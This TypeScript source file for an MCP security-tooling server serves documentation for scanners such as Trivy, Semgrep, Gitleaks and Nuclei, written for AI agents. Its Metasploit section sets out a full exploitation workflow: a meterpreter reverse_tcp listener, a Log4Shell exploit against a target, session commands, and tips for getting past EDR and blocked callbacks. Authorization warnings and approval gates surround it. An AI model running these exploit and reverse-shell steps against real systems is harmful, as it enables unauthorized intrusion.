VibeDefender MCP Server

/** * Dynamic Resources * * Documentation proxy that fetches latest docs from official sources. * Strategy: Try official MCP if exists, otherwise provide search guidance. */ import type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; // ============================================================================ // TOOL DOCUMENTATION SOURCES // ============================================================================ interface DocSource { name: string; description: string; installMac: string; installLinux: string; verify: string; docsUrl: string; searchPattern: string; quickStart: string; } const DOC_SOURCES: Record<string, DocSource> = { trivy: { name: 'Trivy', description: 'Vulnerability scanner for dependencies and infrastructure', installMac: 'brew install aquasecurity/trivy/trivy', installLinux: 'curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin', verify: 'trivy --version', docsUrl: 'https://aquasecurity.github.io/trivy', searchPattern: 'site:aquasecurity.github.io/trivy', quickStart: `# Trivy Quick Start ## Installation \`\`\`bash # macOS brew install aquasecurity/trivy/trivy # Linux curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin \`\`\` ## Verify Installation \`\`\`bash trivy --version \`\`\` ## Scan for Vulnerabilities \`\`\`bash # Scan current directory for dependency vulnerabilities trivy fs . --format json --severity CRITICAL,HIGH,MEDIUM # Scan with table output for humans trivy fs . --severity CRITICAL,HIGH \`\`\` ## Scan Infrastructure Files \`\`\`bash # Scan Dockerfile, Kubernetes, Terraform trivy config . --format json \`\`\` ## Output Format JSON results are in: - \`.Results[].Vulnerabilities[]\` for CVEs - \`.Results[].Misconfigurations[]\` for IaC issues Key fields: - VulnerabilityID: CVE identifier - PkgName: Package name - InstalledVersion: Current version - FixedVersion: Version to upgrade to - Severity: CRITICAL/HIGH/MEDIUM/LOW ## Get Latest Docs Search: "trivy [your question] site:aquasecurity.github.io/trivy" `, }, semgrep: { name: 'Semgrep', description: 'Static analysis for finding security bugs in code', installMac: 'brew install semgrep', installLinux: 'pip install semgrep', verify: 'semgrep --version', docsUrl: 'https://semgrep.dev/docs', searchPattern: 'site:semgrep.dev/docs', quickStart: `# Semgrep Quick Start ## Installation \`\`\`bash # macOS brew install semgrep # Linux/Any pip install semgrep # or pipx install semgrep \`\`\` ## Verify Installation \`\`\`bash semgrep --version \`\`\` ## Run Security Scan \`\`\`bash # Auto-detect language and use security rules semgrep scan --config auto --json # Use specific security ruleset semgrep scan --config p/security-audit --json # OWASP top 10 rules semgrep scan --config p/owasp-top-ten --json \`\`\` ## Available Rulesets - \`auto\` - Auto-detect and apply relevant rules - \`p/security-audit\` - Comprehensive security checks - \`p/owasp-top-ten\` - OWASP Top 10 vulnerabilities - \`p/secrets\` - Find hardcoded secrets - \`p/ci\` - Fast ruleset for CI/CD ## Output Format JSON results are in \`.results[]\` with: - check_id: Rule identifier - path: File path - start.line: Line number - extra.message: Description - extra.severity: ERROR/WARNING/INFO - extra.metadata.cwe: CWE identifiers ## Get Latest Docs Search: "semgrep [your question] site:semgrep.dev/docs" `, }, gitleaks: { name: 'Gitleaks', description: 'Secret scanning to find exposed credentials', installMac: 'brew install gitleaks', installLinux: 'go install github.com/gitleaks/gitleaks/v8@latest', verify: 'gitleaks version', docsUrl: 'https://github.com/gitleaks/gitleaks', searchPattern: 'site:github.com/gitleaks/gitleaks', quickStart: `# Gitleaks Quick Start ## Installation \`\`\`bash # macOS brew install gitleaks # Linux (requires Go) go install github.com/gitleaks/gitleaks/v8@latest # Or download binary from GitHub releases \`\`\` ## Verify Installation \`\`\`bash gitleaks version \`\`\` ## Scan Current Directory \`\`\`bash # Scan files only (no git history) gitleaks detect --source . --no-git --report-format json --report-path /dev/stdout # Scan including git history gitleaks detect --source . --report-format json --report-path /dev/stdout \`\`\` ## Output Format JSON array of findings: - Description: Type of secret (e.g., "AWS Access Key") - File: File path - StartLine: Line number - Match: Partial match (redacted) - Entropy: Randomness score ## Common Secret Types Detected - AWS Access Keys - GitHub Tokens - Private Keys - Database URLs - API Keys - Passwords in config ## Get Latest Docs Search: "gitleaks [your question] site:github.com/gitleaks/gitleaks" `, }, nuclei: { name: 'Nuclei', description: 'Vulnerability scanner for live web applications', installMac: 'brew install nuclei', installLinux: 'go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest', verify: 'nuclei --version', docsUrl: 'https://docs.projectdiscovery.io/tools/nuclei', searchPattern: 'site:docs.projectdiscovery.io nuclei', quickStart: `# Nuclei Quick Start ## Installation \`\`\`bash # macOS brew install nuclei # Linux (requires Go) go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest # Update templates after install nuclei -update-templates \`\`\` ## Verify Installation \`\`\`bash nuclei --version nuclei -update-templates \`\`\` ## Scan a Target \`\`\`bash # Basic scan with all templates nuclei -u https://example.com -json # Scan with specific template categories nuclei -u https://example.com -t technologies/ -json nuclei -u https://example.com -t exposures/ -json # Scan for CVEs (use with caution) nuclei -u https://example.com -t cves/ -json \`\`\` ## Template Categories - technologies/ - Detect software versions - exposures/ - Find exposed files, panels - misconfiguration/ - Security misconfigs - cves/ - Known CVE exploits (careful!) - vulnerabilities/ - Active exploitation ## Output Format JSON with: - template-id: Template identifier - info.name: Human-readable name - info.severity: info/low/medium/high/critical - matched-at: URL where found ## Get Latest Docs Search: "nuclei [your question] site:docs.projectdiscovery.io" `, }, playwright: { name: 'Playwright', description: 'Browser automation for web testing', installMac: 'npm install playwright && npx playwright install', installLinux: 'npm install playwright && npx playwright install', verify: 'npx playwright --version', docsUrl: 'https://playwright.dev/docs', searchPattern: 'site:playwright.dev/docs', quickStart: `# Playwright Quick Start ## For MCP Usage Add Playwright MCP to your AI agent config: \`\`\`json { "mcpServers": { "playwright": { "command": "npx", "args": ["@anthropic/playwright-mcp"] } } } \`\`\` ## For Script Usage \`\`\`bash # Install npm install playwright npx playwright install # Verify npx playwright --version \`\`\` ## Basic Usage (when writing scripts) \`\`\`javascript const { chromium } = require('playwright'); async function test() { const browser = await chromium.launch(); const page = await browser.newPage(); await page.goto('https://example.com'); // ... test actions await browser.close(); } \`\`\` ## Get Latest Docs Search: "playwright [your question] site:playwright.dev/docs" `, }, metasploit: { name: 'Metasploit', description: 'Penetration testing framework (informational use)', installMac: 'brew install metasploit', installLinux: 'curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall', verify: 'msfconsole --version', docsUrl: 'https://docs.metasploit.com', searchPattern: 'site:docs.metasploit.com', quickStart: `# Metasploit Framework - Comprehensive Guide **⚠️ CRITICAL: AUTHORIZATION REQUIRED ⚠️** Metasploit is for authorized penetration testing ONLY. Never use against systems you don't own or have explicit written permission to test. Unauthorized access to computer systems is illegal. --- ## Installation ### Metasploit Framework \`\`\`bash # macOS brew install metasploit # Linux curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall # Verify installation msfconsole --version \`\`\` ### Metasploit MCP Server (External) This project uses an external Metasploit MCP server for AI agent integration: \`\`\`bash # Clone Metasploit MCP repository git clone https://github.com/your-org/MetasploitMCP ~/MetasploitMCP # Set environment variable (add to ~/.bashrc or ~/.zshrc) export METASPLOIT_MCP_PATH="$HOME/MetasploitMCP/start_mcp.sh" # Verify MCP server bash $METASPLOIT_MCP_PATH --version \`\`\` --- ## Two-Phase Usage Metasploit integrates into the security assessment workflow in **two distinct phases**: ### 1. Discovery Phase (Safe, Automated) Use auxiliary modules for reconnaissance and service detection: \`\`\`bash # Port scanning run_auxiliary_module( module_name="auxiliary/scanner/portscan/tcp", options={"RHOSTS": "192.168.1.100", "PORTS": "1-1000"} ) # Service version detection run_auxiliary_module( module_name="auxiliary/scanner/http/http_version", options={"RHOSTS": "192.168.1.100", "RPORT": 80} ) run_auxiliary_module( module_name="auxiliary/scanner/ssh/ssh_version", options={"RHOSTS": "192.168.1.100"} ) \`\`\` **Key Points:** - Read-only reconnaissance - No exploitation attempts - Safe to run automatically - Correlate findings with CVE database ### 2. Exploitation Phase (Requires Approval) Execute exploits against validated vulnerabilities: \`\`\`bash # 1. Search for matching exploit list_exploits(search_term="CVE-2021-44228") # 2. Select payload list_payloads(platform="linux", arch="x64") # 3. Start listener (ALWAYS before exploit!) start_listener( payload_type="linux/x64/meterpreter/reverse_tcp", lhost="10.0.0.5", lport=4444 ) # 4. Execute exploit run_exploit( module_name="exploit/multi/http/log4shell_header_injection", options={"RHOSTS": "192.168.1.100", "RPORT": 8080}, payload_name="linux/x64/meterpreter/reverse_tcp", payload_options={"LHOST": "10.0.0.5", "LPORT": 4444} ) # 5. Gather evidence (if session established) send_session_command(session_id=1, command="whoami") send_session_command(session_id=1, command="uname -a") # 6. Cleanup terminate_session(session_id=1) stop_job(job_id=0) \`\`\` **Key Points:** - Requires explicit human approval - Active exploitation attempt - Potential for service disruption - Must clean up afterwards --- ## Metasploit MCP Tools Reference The external Metasploit MCP provides these tools: ### Discovery Tools - \`list_exploits(search_term)\` - Search exploit database by CVE/keyword - \`list_payloads(platform, arch)\` - List compatible payloads - \`run_auxiliary_module(module_name, options)\` - Run reconnaissance modules ### Exploitation Tools - \`generate_payload(payload_type, format, options)\` - Generate standalone payload files - \`run_exploit(module_name, options, payload_name, payload_options)\` - Execute exploit - \`start_listener(payload_type, lhost, lport)\` - Start reverse handler - \`list_listeners()\` - View active listeners ### Session Management - \`list_active_sessions()\` - View established sessions - \`send_session_command(session_id, command)\` - Execute command in session - \`terminate_session(session_id)\` - Close session - \`stop_job(job_id)\` - Stop background job/listener ### Post-Exploitation - \`run_post_module(module_name, session_id)\` - Run enumeration modules --- ## Common Workflows ### Workflow 1: CVE-Based Exploitation When Trivy finds a CVE in dependencies: \`\`\`bash # 1. Search if Metasploit has an exploit list_exploits(search_term="CVE-2021-44228") # 2. If exploit exists, verify target accessibility run_auxiliary_module( module_name="auxiliary/scanner/http/http_version", options={"RHOSTS": "target-ip"} ) # 3. If user approves, follow exploitation workflow # (see Phase 2 above) \`\`\` ### Workflow 2: Service-Based Discovery When target URL is provided: \`\`\`bash # 1. Discover open ports run_auxiliary_module( module_name="auxiliary/scanner/portscan/tcp", options={"RHOSTS": "target-ip"} ) # 2. Identify service versions run_auxiliary_module( module_name="auxiliary/scanner/http/http_version", options={"RHOSTS": "target-ip", "RPORT": 80} ) # 3. Correlate versions with known CVEs # Match discovered versions against Trivy CVE scan results # 4. If vulnerabilities found, present to user for approval \`\`\` ### Workflow 3: Web Application Testing For web application targets: \`\`\`bash # 1. Technology detection run_auxiliary_module( module_name="auxiliary/scanner/http/http_version", options={"RHOSTS": "web-app.com", "SSL": true} ) # 2. Check for common vulnerabilities # Search exploits matching detected tech stack # 3. If approved, test validated findings only \`\`\` --- ## Output Formats ### Auxiliary Module Output \`\`\`json { "host": "192.168.1.100", "port": 80, "protocol": "tcp", "service": "http", "banner": "Apache/2.4.41 (Ubuntu)", "info": { "server": "Apache", "version": "2.4.41", "os": "Ubuntu" } } \`\`\` ### Exploit Output \`\`\`json { "success": true, "session_id": 1, "session_type": "meterpreter", "target": "192.168.1.100:8080", "exploit": "exploit/multi/http/log4shell_header_injection", "payload": "linux/x64/meterpreter/reverse_tcp" } \`\`\` ### Session Command Output \`\`\`json { "session_id": 1, "command": "whoami", "output": "tomcat", "exit_code": 0 } \`\`\` --- ## Safety Best Practices ### ✅ DO: 1. **Verify authorization** before ANY exploitation 2. **Start with discovery** (auxiliary modules) 3. **Get user approval** for exploitation phase 4. **Document everything** you do 5. **Clean up** sessions and listeners 6. **Gather evidence only** (read-only access) 7. **Stop immediately** if scope is exceeded ### ❌ DON'T: 1. **Never exploit** without authorization 2. **Never modify** target data or files 3. **Never install** backdoors or persistence 4. **Never pivot** to other systems without approval 5. **Never leave** sessions or listeners running 6. **Never exfiltrate** sensitive data 7. **Never cause** service disruption (DoS) --- ## Authorization Checklist Before using Metasploit for exploitation, confirm: - [ ] Target system is owned by you OR - [ ] You have written permission to test - [ ] Scope is clearly defined (IPs, domains, time) - [ ] Rules of engagement are documented - [ ] User has explicitly approved exploitation phase - [ ] You understand allowed vs forbidden actions - [ ] Cleanup procedure is planned **If ANY checkbox is unchecked, DO NOT PROCEED with exploitation.** Discovery (auxiliary modules) can proceed with basic authorization. --- ## Troubleshooting ### Common Issues **Issue**: Metasploit MCP not found \`\`\`bash # Solution: Check environment variable echo $METASPLOIT_MCP_PATH # Should output: /Users/you/MetasploitMCP/start_mcp.sh # If not set, add to shell config: export METASPLOIT_MCP_PATH="$HOME/MetasploitMCP/start_mcp.sh" \`\`\` **Issue**: Exploit fails immediately - Verify target OS/version match - Check network connectivity - Ensure listener is running BEFORE exploit - Try different payload **Issue**: Session dies immediately - Firewall blocking callback - Antivirus/EDR detection - Wrong LHOST (not reachable from target) - Try different port for LPORT **Issue**: Permission denied in session - Exploit didn't escalate privileges - Document access level achieved - Consider privilege escalation (with approval) --- ## Integration with Security Assessment Metasploit fits into the overall workflow: 1. **codeAnalyzer** uses auxiliary modules for discovery 2. **validator** correlates findings with live services 3. **exploiter** executes approved exploits 4. **reporter** documents exploitation results ### When to Use Metasploit **Discovery Phase (Automatic)**: - Target URL provided - Service detection needed - Version correlation required **Exploitation Phase (Approval Required)**: - High/Critical CVE validated - User explicitly requests exploitation - Proof-of-concept needed for report --- ## Get Latest Docs **Official Documentation**: https://docs.metasploit.com **Search**: "metasploit [your question] site:docs.metasploit.com" **Community**: https://github.com/rapid7/metasploit-framework **Methodology**: See \`security://methodology/exploitation\` resource --- ## Legal Reminder Metasploit is a powerful tool that can be used for: - ✅ Authorized penetration testing - ✅ Security research on owned systems - ✅ Educational purposes in lab environments - ✅ Vulnerability validation with permission Metasploit must NOT be used for: - ❌ Unauthorized access attempts - ❌ Testing systems without permission - ❌ Malicious activities - ❌ Privacy violations **Using Metasploit against unauthorized systems is illegal and unethical.** Always ensure you have proper authorization before using this tool. `, }, }; // ============================================================================ // RESOURCE REGISTRATION // ============================================================================ export function registerDynamicResources(server: McpServer): void { // Register a resource for each tool for (const [toolId, source] of Object.entries(DOC_SOURCES)) { server.resource( `security://docs/${toolId}`, `security://docs/${toolId}`, { description: `Documentation and quick start for ${source.name}`, mimeType: 'text/markdown' }, async (uri) => ({ contents: [{ uri: uri.href, text: source.quickStart + `\n\n---\n\n## Need More Help?\n\nFor detailed documentation, search:\n\`${source.description} ${source.searchPattern}\`\n\nOr visit: ${source.docsUrl}`, mimeType: 'text/markdown' }] }) ); } // Overview resource listing all tools server.resource( 'security://docs/overview', 'security://docs/overview', { description: 'Overview of all security tools and how to install them', mimeType: 'text/markdown' }, async (uri) => { let content = `# Security Tools Overview ## Required Tools Install these tools to enable full security scanning: | Tool | Purpose | Install (macOS) | |------|---------|-----------------| `; for (const [toolId, source] of Object.entries(DOC_SOURCES)) { content += `| ${source.name} | ${source.description} | \`${source.installMac}\` |\n`; } content += ` ## Quick Install (macOS) \`\`\`bash # Install all tools brew install aquasecurity/trivy/trivy brew install semgrep brew install gitleaks brew install nuclei nuclei -update-templates # Verify installations trivy --version semgrep --version gitleaks version nuclei --version \`\`\` ## Verify All Tools After installation, verify each tool works: \`\`\`bash trivy --version && echo "Trivy OK" semgrep --version && echo "Semgrep OK" gitleaks version && echo "Gitleaks OK" nuclei --version && echo "Nuclei OK" \`\`\` ## Per-Tool Documentation Access documentation for each tool: - \`security://docs/trivy\` - Vulnerability scanning - \`security://docs/semgrep\` - Code analysis - \`security://docs/gitleaks\` - Secret detection - \`security://docs/nuclei\` - Live target testing - \`security://docs/playwright\` - Browser automation - \`security://docs/metasploit\` - Exploit information `; return { contents: [{ uri: uri.href, text: content, mimeType: 'text/markdown' }] }; } ); }